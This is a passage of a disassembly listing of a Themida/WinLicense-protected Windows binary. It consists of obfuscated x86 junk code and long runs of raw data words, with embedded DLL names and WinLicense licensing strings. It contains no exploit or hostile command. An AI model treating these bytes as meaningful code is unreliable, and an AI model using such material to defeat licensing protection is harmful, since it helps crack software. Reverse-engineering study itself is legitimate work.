loc_5A56AC:				; CODE XREF: Themida_:0059C83Dj
		sub	ecx, 60333C58h
		add	ecx, edx
		add	ecx, 60333C58h
		sub	ecx, 15254483h
		push	eax
		mov	eax, 0
		add	eax, ecx
		xor	[eax], ebp
		pop	eax
		pop	ecx
		jmp	loc_5A4DF7
; ---------------------------------------------------------------------------


loc_5A56D1:				; CODE XREF: Themida_:00596A41j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_596703
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9E1285Bh, 0FFFFB6F9h, 2530E952h, 0C283FFFFh, 4EC8304h
		dd 0FF241489h, 0E9042474h, 0FFFF9A68h, 8924248Bh, 1BA2414h
		dd 9000000h, 685A1C57h,	0B53h, 0E9241C89h, 0FFFF56C9h
; ---------------------------------------------------------------------------


loc_5A571C:				; CODE XREF: Themida_:005A0469j
		sub	dword ptr [esp+4], 4C5C30B6h
		add	dword ptr [esp+4], 1AF641FCh
		jmp	loc_590C89
; ---------------------------------------------------------------------------


loc_5A5731:				; CODE XREF: Themida_:0059F591j
		mov	ecx, esp
		push	edx
		push	edi
		mov	edi, 80870EAh
		mov	edx, 30EED359h
		add	edx, edi
		pop	edi
		shr	edx, 8
		jmp	loc_59C266
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 0C537E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A5752:				; CODE XREF: Themida_:0059E80Cj
		pop	edx
		add	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59E31B
; ---------------------------------------------------------------------------
		db 56h
		dd 47243C87h, 2474FF57h, 48F5F04h, 0F3685E24h, 89000040h
		dd 0B9BF243Ch, 6802086Dh, 0
		dd 5F243C29h, 0BE93E94Fh, 0C5B8FFFEh, 0C178930Bh, 1A3508E8h
		dd 2D581526h, 2DF147F5h, 9BBFB951h, 0C801B9E0h,	8BC62959h
		dd 0C4812404h, 4, 295EF329h, 95C381EBh,	8B45094Ch, 68E9242Ch
		dd 0FFFFFFE5h, 39E92434h, 0B9FFFF9Ch, 4, 4244C01h, 2434FF59h
		dd 4EC815Bh, 89000000h,	0E789243Ch, 4C781h, 0C7830000h
		dd 243C8704h, 415B685Ch, 0C890000h, 4B924h, 0CB010000h
		dd 0F9BA5259h, 0E965C019h, 0FFFEBBF6h
; ---------------------------------------------------------------------------


loc_5A5814:				; CODE XREF: Themida_:00597042j
		mov	edi, [esp]
		jmp	loc_5A2D7D
; ---------------------------------------------------------------------------


loc_5A581C:				; CODE XREF: Themida_:0059106Fj
		sub	esp, 4
		jmp	loc_5992E1
; ---------------------------------------------------------------------------


loc_5A5824:				; CODE XREF: Themida_:0059D0EBj
		cmp	eax, edx
		jz	loc_5A5B94
		push	261h
		jmp	loc_59612C
; ---------------------------------------------------------------------------
		dw 0F789h
		dd 0E924348Bh, 0FFFF73CDh, 802EEE80h, 0E600C5C6h, 0E9F3B151h
		dd 0FFFF2546h
; ---------------------------------------------------------------------------


loc_5A5850:				; CODE XREF: Themida_:0059E3B0j
		mov	edx, 2E512F80h
		jmp	loc_594BE0
; ---------------------------------------------------------------------------


loc_5A585A:				; CODE XREF: Themida_:0059814Ej
		pop	esi
		add	esp, 4
		jmp	loc_591107
; ---------------------------------------------------------------------------


loc_5A5866:				; CODE XREF: Themida_:005A17D7j
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		jmp	loc_5966E6
; ---------------------------------------------------------------------------
		dw 2BEh
		dd 0E9000000h, 0FFFF8A20h, 8924248Bh, 5B54241Ch, 4BA52h
		dd 0B8500000h, 0C341C6h, 158C301h, 0C6EB81D3h, 0E900C341h
		dd 0FFFECF5Ch
; ---------------------------------------------------------------------------


loc_5A58A4:				; CODE XREF: Themida_:00594AB1j
		mov	ebx, [esp]
		jmp	loc_595DAE
; ---------------------------------------------------------------------------
		dd 582434FFh, 6C996857h, 24890000h, 9E0CE924h, 1C8BFFFFh
		dd 0FAF1E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A58C6:				; CODE XREF: Themida_:00594606j
		sub	edi, 7EA57992h
		push	6BAFh
		mov	[esp], edi
		push	ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 3C384728h
		mov	ebx, eax
		pop	eax
		sub	[esp+4], ebx
		jmp	loc_5950C8
; ---------------------------------------------------------------------------
		dd 0B9E94658h
		db 69h,	2 dup(0FFh)
byte_5A58F3	db 0ADh			; DATA XREF: Themida_:00590A24o
		dd 0FF1367E9h, 0BD555DFFh, 45D94B12h, 0FF220BE9h, 0EFC147FFh
		dd 0EF814704h, 0D3C25524h, 3F97C281h, 0FA291327h, 3F97EA81h
		dd 3C8B1327h, 4C48324h,	0F701EA83h, 81D2F7D2h, 0C96D53EAh
		dd 37C1816Dh, 0E9509914h, 0FFFF0DEDh, 5BD4685Fh, 0C890000h
		dd 5BD5524h, 0B974BA7Ah, 74BA7A09h, 15DE929h, 80BE9C8h
		dd 0E958FFFFh, 0FFFF8608h
dword_5A5960	dd 51D830ACh, 0FE9ABB5h, 57FFFEE4h, 0C379B3BFh,	47DFF70Bh
					; DATA XREF: Themida_:005907E0o
		dd 5E7C14Fh, 0B282C781h, 0FD21EC24h, 19ED815Fh,	83AE4A3Eh
		dd 348904ECh, 4EC8324h,	0FED0CCE9h, 3248BFFFh, 0C2E9194Bh
		dd 8BFFFF7Fh, 0C483241Ch, 5334E904h, 0F181FFFFh, 75C2D38h
		dd 61A8E981h, 0C9813D4Ah, 76FD2769h, 0FF22CDE9h, 4C481FFh
		dd 0E9000000h, 0FFFEBD64h
; ---------------------------------------------------------------------------


loc_5A59CC:				; CODE XREF: Themida_:005978D7j
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	eax
		jmp	loc_59F00B
; ---------------------------------------------------------------------------
		db 68h
		dd 6915h, 0FF424AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A59E9:				; CODE XREF: Themida_:0059E414j
		sub	ecx, 1005214h
		jmp	loc_59CB7E
; ---------------------------------------------------------------------------


loc_5A59F4:				; CODE XREF: Themida_:005984EBj
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		add	eax, 671363C3h
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_59F4D4
; ---------------------------------------------------------------------------
		dw 0DA01h
		dd 1CEEEA81h, 875B0B10h, 0E95C2414h, 0FFFF136Dh, 1C8BDE89h
		dd 4C48324h, 0F75E5A56h, 6EAC1DAh, 0B1BEE951h, 232DFFFFh
		dd 1255517h, 23BE56F0h,	0E9255517h, 0FFFFB8D8h,	5324048Bh
		dd 4EC81h, 0E9540000h, 0FFFF7358h, 0E9241C33h, 0FFFF901Ch
		dd 0E9D88850h, 0FFFF8E43h, 42474FFh, 24048F5Bh,	5224248Bh
		dd 0FEF6F9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A5A79:				; CODE XREF: Themida_:0059A10Bj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_59A116
; ---------------------------------------------------------------------------


loc_5A5A8E:				; CODE XREF: Themida_:005989C0j
		push	ecx
		jmp	loc_5964A9
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 89522404h, 0B85053E2h, 2208291Dh,	0FF65B2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A5AA9:				; CODE XREF: Themida_:0059FB00j
		or	edx, 773073B9h
		and	edx, 64D83586h
		add	edx, 0D768E717h
		add	ebx, edx
		pop	edx
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5A4654
; ---------------------------------------------------------------------------
aQSUPEo0@h	db '¾Q',0Dh,'#S)î]P¸…o',8,'0@h',0
		align 4
		dd 24042900h, 8324048Bh, 5CE904C4h, 68FFFEEBh, 42C2h, 0E9240C89h
		dd 0FFFF6A4Eh
; ---------------------------------------------------------------------------


loc_5A5B04:				; CODE XREF: Themida_:005A1135j
		add	esp, 4
		push	ebx
		mov	ebx, 16B6620Dh
		add	eax, ebx
		pop	ebx
		sub	eax, 76795273h
		add	eax, ebp
		add	eax, 76795273h
		push	ebp
		mov	ebp, 16B6620Dh
		jmp	loc_592921
; ---------------------------------------------------------------------------


loc_5A5B2A:				; CODE XREF: Themida_:00593176j
		add	[esp+4], edx
		jmp	loc_59EC6F
; ---------------------------------------------------------------------------
		db 33h
		dd 248B242Ch, 4216624h,	58E99C24h, 5AFFFEAFh, 8DC0B60Fh
		dd 0DFE98704h, 0BBFFFF37h, 0F7D0DE24h, 0FEC277E9h, 8BEA29FFh
		dd 0C483242Ch, 81EA2904h, 0B51763C2h, 0C90B5D1Fh, 0F290840Fh
		dd 0EC83FFFFh, 48F5404h, 4BA5224h, 52000000h, 0FF965CE9h
		dd 88F188FFh, 0E28EE9CFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A5B8E:				; CODE XREF: Themida_:0059F563j
		mov	ebp, [esp]
		add	esp, 4


loc_5A5B94:				; CODE XREF: Themida_:0059B4AFj
					; Themida_:005A5826j
		push	dword ptr [esp]
		jmp	loc_59BD1A
; ---------------------------------------------------------------------------
		dd 0FF1C5F21h, 0A3E92434h, 1FFFEEFh, 243C8BF9h,	4C481h
		dd 0C1810000h, 4, 0FFCED4E9h, 81CE01FFh, 2F086DEEh, 3CB8505Dh
		dd 5352C28h, 3A5A64FCh,	1AD1DF35h, 0BE1FE96Fh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A5BDA:				; CODE XREF: Themida_:005943D9j
		mov	[esp], esi
		push	65246C5Dh
		jmp	loc_5945AD
; ---------------------------------------------------------------------------


loc_5A5BE7:				; CODE XREF: Themida_:00595CC4j
		add	eax, 4A6B3D74h
		jmp	loc_5A2923
; ---------------------------------------------------------------------------
		db 0E9h, 48h, 0
		dd 6DB20000h, 5355310Bh, 32335245h, 6C6C642Eh, 56444100h
		dd 33495041h, 6C642E32h, 544E006Ch, 2E4C4C44h, 6C6C64h
		dd 407D8h, 1C0001h, 260005h, 28A0031h, 4 dup(0)
		dd 0D1E90000h, 68000008h, 6159A55h, 0FDE7DFE9h,	9AD568FFh
		dd 0D5E90615h, 68FFFDE7h, 6159BFDh, 0FDE7CBE9h,	9DAD68FFh
		dd 0C1E90615h, 68FFFDE7h, 6159E3Eh, 0FDE7B7E9h,	9F2A68FFh
		dd 0ADE90615h, 68FFFDE7h, 6159F93h, 0FDE7A3E9h,	68EE7CFFh
		dd 78D6684Ah, 66E4785Ah, 7FD16248h, 68EC795Fh, 0B7D45B4Ah
		dd 0A68C2A2Ah, 0BC9E3C16h, 9F812127h, 0D3A03E0Eh, 4DFD598Ch
		dd 53C616B3h, 0D8D2B9EFh, 22F0EEEFh, 10D862F6h,	0EAC9BDA4h
		dd 0FA56E5CDh, 63A22A6Bh, 168EE3C2h, 0BC51B2D3h, 0C334D545h
		dd 0A4094B6h, 0A612DA3Bh, 79ECCBBBh, 36A1B584h,	0EB49187Dh
		dd 143390F6h, 0A5B49E2Eh, 582D5C64h, 0D1308E8Ch, 1D506F4Ch
		dd 248A77C1h, 94C10B8Ah, 91311BAEh, 3B2E1EAFh, 9A031233h
		dd 4BA8A544h, 12000007h, 0E3492C4h, 0E3492BCh, 103290BAh
		dd 0F3191BFh, 13492C2h,	0E470BD2Eh, 0FE54E4C6h,	0E365FAE0h
		dd 4CDDC3h, 47B699A2h, 16B34ECBh, 0BDE17D94h, 0AB9B1A6Ch
		dd 0AA102469h, 77C6ECCBh, 585413DDh, 2B1DB211h,	654A6D4Ah
		dd 0B82087E8h, 47C60E31h, 16890CF7h, 0A4862568h, 0B799390Fh
		dd 0B8CF6124h, 0F5142523h, 5F44C594h, 89D31641h, 19284938h
		dd 0B5A8A435h, 8001F37Fh, 0CB302DBCh, 92000006h, 8EB41244h
		dd 8EB4123Ch, 90B2103Ah, 8FB1113Fh, 81B41242h, 64F03DAEh
		dd 7ED46446h, 63E57A60h, 80CC5D43h, 0C7361922h,	16B34F4Bh
		dd 0BD61FD14h, 0FE8D1D6Ch, 73C2A3ADh, 97F3AD12h, 2846A219h
		dd 0C0456A49h, 836C580Eh, 51C541B4h, 0F8E109Eh,	0C307666Eh
		dd 0D5FDDA72h, 7ED80D87h, 47109E52h, 0B496A7C6h, 0FA1B2A20h
		dd 0ED92519Bh, 0F0C0EC5Dh, 58A3417Bh, 4Ch, 0E06CBDFEh
		dd 0E0C268C2h, 49B8004Eh, 109DB4C9h, 3A98B405h,	0A6A2351Dh
		dd 0BFC7221Eh, 0CD1B3F20h, 7FCC3B85h, 0EC168EC2h, 93280AA9h
		dd 123815B5h, 5DBC8DBFh, 5AEE4193h, 614CE0Bh, 0C9F10000h
		dd 6FEB1A7Ch, 380A8A40h, 0B22CB4D5h, 51E06CBDh,	5B780E53h
		dd 0D968E877h, 42330B8h, 35BF891Eh, 8EA547D6h, 0B5157816h
		dd 0AC0A4293h, 0FA4E756Ch, 63923150h, 10751E1Ch, 90B71479h
		dd 9EA13A6Fh, 6ADE717Ah, 11DBBADBh, 0FF49DEC4h,	0ACE1FEDFh
		dd 4751B32h, 0A6389AFBh, 707899A8h, 0EE7FC95Eh,	7EF359ECh
		dd 79EDB564h, 0A303DE8Dh, 0BA000005h, 0A68C2A2Ch, 0B69C3A14h
		dd 0A88A2822h, 0B7993917h, 998C2A2Ah, 6CE87596h, 76DC6C4Eh
		dd 6BDD7258h, 78D4654Bh, 1F4E915Ah, 16B34FC3h, 0BD29158Ch
		dd 7251E06Ch, 3520050h,	0C5183A82h, 0F0B520C1h,	0A5C41B0Eh
		dd 0E663EF94h, 17391E41h, 8DDFF5B3h, 0B4108AFBh, 0B4D9109Eh
		dd 0B688DD2Ch, 0D56F109Eh, 0A3411704h, 0FFFEEDACh, 0DDC292FFh
		dd 0FB6A7BBAh, 109E459Fh, 5A7E2568h, 6A6C74FBh,	0C8E475D7h
		dd 97C6E5A1h, 168EC4FEh, 71ED203Fh, 3A0A8ABEh, 1C1CBADBh
		dd 0BDE2C1C5h, 27D4842Ch, 401DA706h, 7BBB88CDh,	0ADBCE110h
		dd 77B4FD5Ch, 41BA5404h, 9BE65D1Bh, 0CB1B3F50h,	948DB283h
		dd 6E577C1Dh, 94C9E687h, 478A83Ah, 0E33A8203h, 1FBh, 0D27CCEF4h
		dd 0E5C2500Ah, 0B53793C2h, 9D00109Dh, 9DB572ECh, 0FF143B10h
		dd 0DC36197Dh, 0DDF3FD9Ch, 348CD5F6h, 1914477h,	17B4D560h
		dd 0A249C538h, 0F312109Eh, 0F879ECE9h, 79168F92h, 8FAB2756h
		dd 4EDF0A8Bh, 0A42C71FEh, 0A825C647h, 0C3358411h, 3F0DA082h
		dd 0B2982C2Eh, 0B90362A3h, 8522647Dh, 2F3E0A9Dh, 0D6F9E6EEh
		dd 5FEE64F4h, 766EE7Bh,	2B3A12A3h, 8EA3E2EAh, 8736A264h
		dd 0F5EF643h, 62419DD0h, 8B0A2A9Eh, 3E98CDEAh, 72A9E62h
		dd 7956E786h, 61AB2756h, 51DF2A9Eh, 82D13001h, 0C5DEB40h
		dd 0D8E4EC8Dh, 875D2F91h, 829848AFh, 0DC91C4E3h, 55308EC7h
		dd 0F6EDA6Dh, 15378AB0h, 1EB298B5h, 0DFFC1D2Ch,	8AB434AEh
		dd 5098FD24h, 0ACA1ABFEh, 9A034E9Ch, 0F3DFFAB1h, 6A000003h
		dd 765C7ADCh, 664C6AE4h, 785A78D2h, 674969E7h, 695C7ADAh
		dd 3C18A5C6h, 262CBC9Eh, 3B0DA288h, 2824B59Bh, 6F9EC18Ah
		dd 16B351F3h, 0A3F965BCh, 0CCEBC8BEh, 9DB53D99h, 8CFD6E10h
		dd 9DCA3D13h, 0D96B4FCEh, 0FB6A6771h, 1688F4E3h, 0C842B394h
		dd 910A88E1h, 0E43EAF0Ch, 0AD0A88E1h, 0C4036068h, 88E23591h
		dd 0A3FF6E0Ah, 6C0A88E1h, 9AFB1A29h, 86C2153Dh,	9BAD0228h
		dd 14A58DCAh, 0B9EB038h, 41202A7Eh, 17BC60Ch, 65600780h
		dd 362h, 0C7E76FFBh, 0DDFD51E1h, 0C1E169FBh, 0A20050DFh
		dd 83233180h, 0DF6E9F90h, 0E5735575h, 0D86B4D6Dh, 0DD705270h
		dd 5D824F6Fh, 0B352AE28h, 40227716h, 51E06CBDh,	4DFB5072h
		dd 1539DFCh, 0C6CD9CB0h, 63B6AF4Ch, 4A109DB7h, 0BE1421F2h
		dd 0FCC4895Ch, 0C2ADFFFFh, 0B51670E5h, 1E4F109Dh, 109DB4C4h
		dd 0DA3B088Dh, 0DF6DC012h, 0C366518Eh, 4D4B4986h, 0F0F9458Fh
		dd 11C43996h, 4A168EF1h, 0E7183105h, 3628E78h, 11A082A3h
		dd 0B9DF7943h, 0DDA9C0D9h, 0C288DCFEh, 8DCA1273h, 8EA5D958h
		dd 48ABEA16h, 77B65FC5h, 0AF144DB2h, 0FD1C2D1Dh, 77C68AD9h
		dd 25587716h, 68642110h, 3B97C609h, 45C601Eh, 0C18D1D81h
		dd 53701170h, 6870E06Fh, 0E0A6BBF9h, 0F7DF92C3h, 35586250h
		dd 2B21B496h, 3814A58Bh, 0C57DF745h, 488524CBh,	276h, 0DBFB5BE7h
		dd 0C9E965F5h, 0D5F555E7h, 0CEEC64F3h, 0D7F75DECh, 93224BE4h
		dd 71BFE1C1h, 4CDFC1E1h, 69FCDEFCh, 0D9F6C3E3h,	0B3542AA4h
		dd 0C49EF316h, 0FE4CE0C2h, 9AA62E6Fh, 0B298374Fh, 368A2C1Eh
		dd 5E8FCC14h, 16882E52h, 9EC11E7Fh, 15242ABCh, 55EAECF4h
		dd 5AEDD3F3h, 0EA7B5FEEh, 0B5BBEF62h, 15D48000h, 20D38h
		dd 54025000h, 4C025476h, 52F84C6Eh, 53FD4E74h, 54004D73h
		dd 83E84776h, 9AC01E36h, 88AA084Ah, 93B51533h, 9FAC0A42h
		dd 53D14DC0h, 879A16B3h, 4EE0C2DBh, 657CB800h, 8D9D8221h
		dd 8DFC73D2h, 94C916DEh, 16886D88h, 4F7350B5h, 56834DFDh
		dd 4B6BE174h, 516E144Bh, 885ACC1Ch, 4D1C810Ah, 0C998BC09h
		dd 0C2921F11h, 727CBAE5h, 5F077788h, 20474795h,	0BE104562h
		dd 770A888Dh, 0B2034716h, 0E1C585D7h, 0D0310054h, 82AA0B1h
		dd 113797B5h, 95BD8CC0h, 4E0653CAh, 0C68EDBFFh,	9A2F6177h
		dd 0E6638DABh, 86CA1941h, 83C91C3Eh, 3674FB24h,	75665DA0h
		dd 0FA4B6D6Bh, 72BF0352h, 1DAB53E2h, 0E963F6ACh, 92C3ECC9h
		dd 8B0776EFh, 540A87E5h, 396B8A31h, 0F643955Fh,	18C70F5Eh
		dd 2EE45587h, 3416B59Fh, 7E9FAEA4h, 0F3426876h,	59EED061h
		dd 88A5EEFh, 1C72BF73h,	44D3B849h, 0C7E7865Eh, 6DFC50E1h
		dd 0D913041Ch, 0BB50C2A2h, 0BC96260Ch, 0BD8F2234h, 0DCAA3B1Dh
		dd 0FD8AD182h, 2D950BC5h, 0C2425E45h, 6A6CFD9Ch, 77E879DBh
		dd 9CF66748h, 65521453h, 0DD6E9820h, 1AB89425h,	0F8E1A538h
		dd 8A1908DDh, 9391A0C1h, 0A3E2754Eh, 0B5A3B13h,	22BDEAC4h
		dd 731201D0h, 0FF4EFE4Fh, 0ADE0FF9Eh, 58058AC0h, 7DA65E69h
		dd 1382BF5Ah, 0D545472h, 0D46623B6h, 0CBAAEB7Ah, 26B71B7Ah
		dd 97F61726h, 0C5381738h, 4C015349h, 9AE9F312h,	51EBCC68h
		dd 0E86CF9E1h, 0BA409ACBh, 840945EBh, 0DF7254E5h, 47704D6Dh
		dd 0DB1B5AF9h, 79C7EB97h, 6CBD0FD9h, 4CDFC3E0h,	8A2C6DFCh
		dd 1AC91335h, 0D2359AEBh, 0EE8B075Ch, 7C5BF144h, 9EB02A5Bh
		dd 74E90ECDh, 0ECD9F1Ah, 7095A2E3h, 0F5486A68h,	3D0C4294h
		dd 0AAACBDDCh, 32263719h, 5FBB2A0Dh, 280ECD9Fh,	0DABB8D22h
		dd 54037812h, 0E071DB6Eh, 0A43517A1h, 95280AA8h, 3ABA6B7h
		dd 7000000h, 71BDE17Bh,	0DF7254E5h, 65FADC6Dh, 0E07052E3h
		dd 52DFE372h, 0C20F3302h, 307FC392h, 9B2D1120h,	2ABC9EAFh
		dd 68221524h, 3E4Fh, 53240C89h,	0C381E389h, 4, 8704EB83h
		dd 895C241Ch, 8953242Ch, 4C381E3h, 81000000h, 4EBh, 241C8700h
		dd 2414895Ch, 9DB6853h,	815B2C09h, 0C8FE4C3h, 8BDD89DAh
		dd 0C481241Ch, 4, 24148B54h, 6804C483h,	76BAh, 8F242C89h
		dd 148B0842h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		dd 977B4A7Fh, 9874E1FDh, 15A1C5B8h, 0FFC50306h,	67FD19E0h
		dd 0AAAE4A2Ch, 5822F575h, 3A5AA219h, 7A984766h,	0B8B51B0Bh
		dd 7E73D918h, 91B3F44h,	8CEB7D37h, 0ED57C720h, 71C4EA65h
		dd 0FAA21526h, 11E83Eh,	0CBEC0000h, 7DF52700h, 25FBEA75h
		dd 7871A5F9h, 0B7C5078Bh, 0C0805E03h, 0E4C68137h, 0FC00005Dh
		dd 174A68h, 13E900h, 0ECC40000h, 5D13B0F3h, 0DA0D2587h
		dd 0B2EFACF9h, 0A9414662h, 0BF0F5A3Ah, 8136FFCAh, 0F0C16CC1h
		dd 0C78B5F70h, 8814C781h, 0B9662AA5h, 0EF817FD0h, 40F1E712h
		dd 6840Fh, 0C3810000h, 9D9B46Fh, 827EF81h, 0CD801BE0h
		dd 0CB81572Ah, 5D79B60h, 83FC068Fh, 816004EEh, 0B2FE73C8h
		dd 0D2B70F1Eh, 1EA8161h, 0F000000h, 1885h, 0B5BB6600h
		dd 24E913h, 3510000h, 0ECB36F0Ah, 1D293DF0h, 859ED0FCh
		dd 0A6BB6603h, 0FF8BE9C4h, 8183FFFFh, 7AA451E5h, 7808FBAFh
		dd 8DE9B268h, 60000000h, 0EFDBD83h, 0F000613h, 584h, 78E900h
		dd 6A0000h, 0F303E80h, 885h, 46006A00h,	35E9h, 333E8000h
		dd 8850Fh, 106A0000h, 24E946h, 3E800000h, 8850F34h, 6A000000h
		dd 13E94630h, 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 3E80006Ah
		dd 12850F20h, 80000000h, 0F00017Eh, 885h, 8C48300h, 15E9h
		dd 0A5858D00h, 5006132Ah, 96240489h, 6A9650h, 15595FFh
		dd 0C3610613h, 11E185C6h, 684D0613h, 9A00E4D3h,	0D5240481h
		dd 0FF0A3491h, 1310D1B5h, 0AD858D06h, 0FF06133Ah, 558589D0h
		dd 0E9061301h, 0AAh, 74666F53h,	65726177h, 6E69575Ch, 6563694Ch
		dd 65736Eh, 63656843h, 4E496Bh,	6F727058h, 69784574h, 68430074h
		dd 4F6B6365h, 57005455h, 694C6E69h, 736E6563h, 72655665h
		dd 6E6F6973h, 6E695700h, 6563694Ch, 4465736Eh, 65766972h
		dd 72655672h, 6E6F6973h, 6E695700h, 6563694Ch, 4965736Eh
		dd 6174736Eh, 65636Eh, 74697845h, 50006B4Fh, 49636F72h
		dd 7250004Eh, 554F636Fh, 78450054h, 4E497469h, 69784500h
		dd 54554F74h, 49705400h, 4Eh, 2	dup(0)
		dd 0B9080000h, 0D5BB77DEh, 96E977DFh, 89000005h, 15A4A085h
		dd 9C858D06h, 500615A4h, 0A406858Dh, 68500615h,	80000001h
		dd 0A4AC95FFh, 196A0615h, 0A4A0B5FFh, 16A0615h,	858D006Ah
		dd 615A435h, 9CB5FF50h,	0FF0615A4h, 131D4595h, 9CB5FF06h
		dd 0FF0615A4h, 15A4A895h, 9CB5FF06h, 0FF0615A4h, 1331CD95h
		dd 8589C306h, 615A4A0h,	0A49C858Dh, 8D500615h, 15A40685h
		dd 1685006h, 0FF800000h, 15A4AC95h, 8D046A06h, 15A4A085h
		dd 46A5006h, 858D006Ah,	615A45Fh, 9CB5FF50h, 0FF0615A4h
		dd 131D4595h, 9CB5FF06h, 0FF0615A4h, 15A4A895h,	9CB5FF06h
		dd 0FF0615A4h, 1331CD95h, 8589C306h, 615A4A0h, 0A49C858Dh
		dd 8D500615h, 15A40685h, 1685006h, 0FF800000h, 15A4AC95h
		dd 8D046A06h, 15A4A085h, 46A5006h, 858D006Ah, 615A447h
		dd 9CB5FF50h, 0FF0615A4h, 131D4595h, 9CB5FF06h,	0FF0615A4h
		dd 15A4A895h, 9CB5FF06h, 0FF0615A4h, 1331CD95h,	8589C306h
		dd 615A4A0h, 0A49C858Dh, 8D500615h, 15A40685h, 1685006h
		dd 0FF800000h, 15A4AC95h, 8D046A06h, 15A4A085h,	46A5006h
		dd 858D006Ah, 615A472h,	9CB5FF50h, 0FF0615A4h, 131D4595h
		dd 9CB5FF06h, 0FF0615A4h, 15A4A895h, 9CB5FF06h,	0FF0615A4h
		dd 1331CD95h, 8589C306h, 615A4A0h, 0A49C858Dh, 8D500615h
		dd 15A40685h, 1685006h,	0FF800000h, 15A4AC95h, 8D046A06h
		dd 15A4A085h, 46A5006h,	858D006Ah, 615A422h, 9CB5FF50h
		dd 0FF0615A4h, 131D4595h, 9CB5FF06h, 0FF0615A4h, 15A4A895h
		dd 9CB5FF06h, 0FF0615A4h, 1331CD95h, 0BD83C306h, 613206Dh
		dd 0B840F00h, 8B000000h, 13206D9Dh, 4CC38306h, 83C30389h
		dd 13206DBDh, 840F0006h, 0Bh, 206D9D8Bh, 0C3830613h, 0C3038950h
		dd 206DBD83h, 0F000613h, 0B84h,	6D9D8B00h, 83061320h, 38954C3h
		dd 6DBD83C3h, 61320h, 0B840Fh, 9D8B0000h, 613206Dh, 8958C383h
		dd 0BD83C303h, 613206Dh, 0B840F00h, 8B000000h, 13206D9Dh
		dd 5CC38306h, 0C3C30389h, 0A0858960h, 8D0615A4h, 15A49C85h
		dd 858D5006h, 615A406h,	16850h,	95FF8000h, 615A4ACh, 858D046Ah
		dd 615A4A0h, 6A046A50h,	97858D00h, 500615A4h, 0A49CB5FFh
		dd 95FF0615h, 6131D45h,	1625BD83h, 0F000613h, 0C84h, 9CB5FF00h
		dd 0FF0615A4h, 15A4A895h, 9CB5FF06h, 0FF0615A4h, 1331CD95h
		dd 60C36106h, 0A4A08589h, 858D0615h, 615A49Ch, 6858D50h
		dd 500615A4h, 168h, 0AC95FF80h,	6A0615A4h, 0A0858D04h
		dd 500615A4h, 6A046Ah, 0A479858Dh, 0FF500615h, 15A49CB5h
		dd 4595FF06h, 8306131Dh, 131625BDh, 840F0006h, 0Ch, 0A49CB5FFh
		dd 95FF0615h, 615A4A8h,	0A49CB5FFh, 95FF0615h, 61331CDh
		dd 8960C361h, 15A4A085h, 9C858D06h, 500615A4h, 0A406858Dh
		dd 68500615h, 80000001h, 0A4AC95FFh, 46A0615h, 0A4A0858Dh
		dd 6A500615h, 8D006A04h, 15A48085h, 0B5FF5006h,	615A49Ch
		dd 1D4595FFh, 0BD830613h, 6131625h, 0C840F00h, 0FF000000h
		dd 15A49CB5h, 0A895FF06h, 0FF0615A4h, 15A49CB5h, 0CD95FF06h
		dd 61061331h, 858960C3h, 615A4A0h, 0A49C858Dh, 8D500615h
		dd 15A40685h, 1685006h,	0FF800000h, 15A4AC95h, 8D046A06h
		dd 15A4A085h, 46A5006h,	858D006Ah, 615A488h, 9CB5FF50h
		dd 0FF0615A4h, 131D4595h, 25BD8306h, 61316h, 0C840Fh, 0B5FF0000h
		dd 615A49Ch, 0A4A895FFh, 0B5FF0615h, 615A49Ch, 31CD95FFh
		dd 0C3610613h, 0A0858960h, 8D0615A4h, 15A49C85h, 858D5006h
		dd 615A406h, 16850h, 95FF8000h,	615A4ACh, 858D046Ah, 615A4A0h
		dd 6A046A50h, 8F858D00h, 500615A4h, 0A49CB5FFh,	95FF0615h
		dd 6131D45h, 1625BD83h,	0F000613h, 0C84h, 9CB5FF00h, 0FF0615A4h
		dd 15A4A895h, 9CB5FF06h, 0FF0615A4h, 1331CD95h,	60C36106h
		dd 0A4A085C7h, 10615h, 858D0000h, 615A49Ch, 6858D50h, 500615A4h
		dd 268h, 0AC95FF80h, 0B0615A4h,	0F840FC0h, 0C7000000h
		dd 15A4A085h, 6, 4DE900h, 46A0000h, 0A4A0858Dh,	6A500615h
		dd 8D006A04h, 15A41A85h, 0B5FF5006h, 615A49Ch, 1D4595FFh
		dd 0C00B0613h, 0F840Fh,	85C70000h, 615A4A0h, 0
		dd 0AE9h, 0A085C700h, 10615A4h,	0FF000000h, 15A49CB5h
		dd 0CD95FF06h, 61061331h, 0A4A0858Bh, 60C30615h, 0A4A08589h
		dd 858D0615h, 615A49Ch,	6858D50h, 500615A4h, 168h, 0AC95FF80h
		dd 6A0615A4h, 0A0858D04h, 500615A4h, 6A046Ah, 0A41A858Dh
		dd 0FF500615h, 15A49CB5h, 4595FF06h, 8306131Dh,	131625BDh
		dd 840F0006h, 0Ch, 0A49CB5FFh, 95FF0615h, 615A4A8h, 0A49CB5FFh
		dd 95FF0615h, 61331CDh,	8960C361h, 15A4A085h, 9C858D06h
